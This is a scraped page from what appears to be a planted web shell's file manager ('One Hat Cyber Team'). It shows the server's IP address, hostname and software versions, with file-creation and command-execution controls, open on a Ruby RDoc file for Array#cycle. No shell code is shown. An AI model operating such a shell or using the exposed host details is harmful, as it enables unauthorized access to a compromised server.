⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.13
Server IP:
109.199.105.153
Server:
Linux connect.inboxifs.com 5.15.0-152-generic #162-Ubuntu SMP Wed Jul 23 09:48:42 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
3.0.0
/
system
/
Array
/
Edit File: cycle-i.ri
U:RDoc::AnyMethod[iI" cycle:ETI"Array#cycle;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"FWhen called with positive \Integer argument +count+ and a block, ;TI"<calls the block with each element, then does so again, ;TI"7until it has done so +count+ times; returns +nil+:;To:RDoc::Markup::Verbatim; [I"output = [] ;TI"@[0, 1].cycle(2) {|element| output.push(element) } # => nil ;TI"output # => [0, 1, 0, 1] ;T:@format0o; ; [I"=If +count+ is zero or negative, does not call the block:;To;; [I"@[0, 1].cycle(0) {|element| fail 'Cannot happen' } # => nil ;TI"A[0, 1].cycle(-1) {|element| fail 'Cannot happen' } # => nil ;T;0o; ; [I"MWhen a block is given, and argument is omitted or +nil+, cycles forever:;To;; [I"# Prints 0 and 1 forever. ;TI",[0, 1].cycle {|element| puts element } ;TI"1[0, 1].cycle(nil) {|element| puts element } ;T;0o; ; [I"7When no block is given, returns a new \Enumerator:;To:RDoc::Markup::BlankLine o;; [I"9[0, 1].cycle(2) # => #<Enumerator: [0, 1]:cycle(2)> ;TI"8[0, 1].cycle # => # => #<Enumerator: [0, 1]:cycle> ;TI"/[0, 1].cycle.first(5) # => [0, 1, 0, 1, 0];T;0: @fileI"array.c;T:0@omit_headings_from_table_of_contents_below0I"�array.cycle {|element| ... } -> nil array.cycle(count) {|element| ... } -> nil array.cycle -> new_enumerator array.cycle(count) -> new_enumerator ;T0[ I"(*args);T@-FI" Array;TcRDoc::NormalClass00
Simpan